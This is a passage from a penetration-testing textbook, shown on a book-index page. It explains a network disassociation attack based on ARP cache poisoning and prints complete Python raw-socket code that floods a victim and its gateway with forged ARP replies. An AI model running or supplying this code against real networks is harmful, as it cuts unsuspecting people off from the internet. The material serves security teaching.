Python Penetration Testing Essentials by Python Penetration Testing Essentials
Author:Python Penetration Testing Essentials
Language: eng
Format: epub
Publisher: Packt Publishing
Testing the security system using custom packet crafting and injection
So far, you have seen the implementation of ARP spoofing. Now, let's learn about an attack called the network disassociation attack. Its concept is the same as ARP cache poisoning.
Network disassociation
In this attack, the victim will remain connected to the gateway but cannot communicate with the outer network. Put simply, the victim will remain connected to the router but cannot browse the Internet. The principle of this attack is the same as ARP cache poisoning. The attack will send the ARP reply packet to the victim and that packet will change the MAC address of the gateway in the ARP cache of the victim with another MAC. The same thing is done in the gateway.
The code is the same as that of ARP spoofing, except for some changes, which are explained as follows:
import socket import struct import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0",socket.htons(0x0800))) sor = '\x48\x41\x43\x4b\x45\x52' victmac ='\x00\x0C\x29\x2E\x84\x7A' gatemac = '\x00\x50\x56\xC0\x00\x08' code ='\x08\x06' eth1 = victmac+sor+code #for victim eth2 = gatemac+sor+code # for gateway htype = '\x00\x01' protype = '\x08\x00' hsize = '\x06' psize = '\x04' opcode = '\x00\x02' gate_ip = '192.168.0.1' victim_ip = '192.168.0.11' gip = socket.inet_aton ( gate_ip ) vip = socket.inet_aton ( victim_ip ) arp_victim = eth1+htype+protype+hsize+psize+opcode+sor+gip+victmac+vip arp_gateway= eth2+htype+protype+hsize+psize+opcode+sor+vip+gatemac+gip while 1: s.send(arp_victim) s.send(arp_gateway)
Download
This site does not store any files on its server. We only index and link to content provided by other sites. Please contact the content providers to delete copyright contents if any and email us, we'll remove relevant links or contents immediately.
Hello! Python by Anthony Briggs(9912)
OCA Java SE 8 Programmer I Certification Guide by Mala Gupta(9795)
The Mikado Method by Ola Ellnestam Daniel Brolund(9777)
Algorithms of the Intelligent Web by Haralambos Marmanis;Dmitry Babenko(8293)
Sass and Compass in Action by Wynn Netherland Nathan Weizenbaum Chris Eppstein Brandon Mathis(7775)
Test-Driven iOS Development with Swift 4 by Dominik Hauser(7758)
Grails in Action by Glen Smith Peter Ledbrook(7693)
The Well-Grounded Java Developer by Benjamin J. Evans Martijn Verburg(7557)
Windows APT Warfare by Sheng-Hao Ma(6806)
Layered Design for Ruby on Rails Applications by Vladimir Dementyev(6529)
Secrets of the JavaScript Ninja by John Resig Bear Bibeault(6409)
Blueprints Visual Scripting for Unreal Engine 5 - Third Edition by Marcos Romero & Brenden Sewell(6399)
Kotlin in Action by Dmitry Jemerov(5062)
Hands-On Full-Stack Web Development with GraphQL and React by Sebastian Grebe(4316)
Functional Programming in JavaScript by Mantyla Dan(4037)
Solidity Programming Essentials by Ritesh Modi(3985)
WordPress Plugin Development Cookbook by Yannick Lefebvre(3774)
Unity 3D Game Development by Anthony Davis & Travis Baptiste & Russell Craig & Ryan Stunkel(3717)
The Ultimate iOS Interview Playbook by Avi Tsadok(3694)
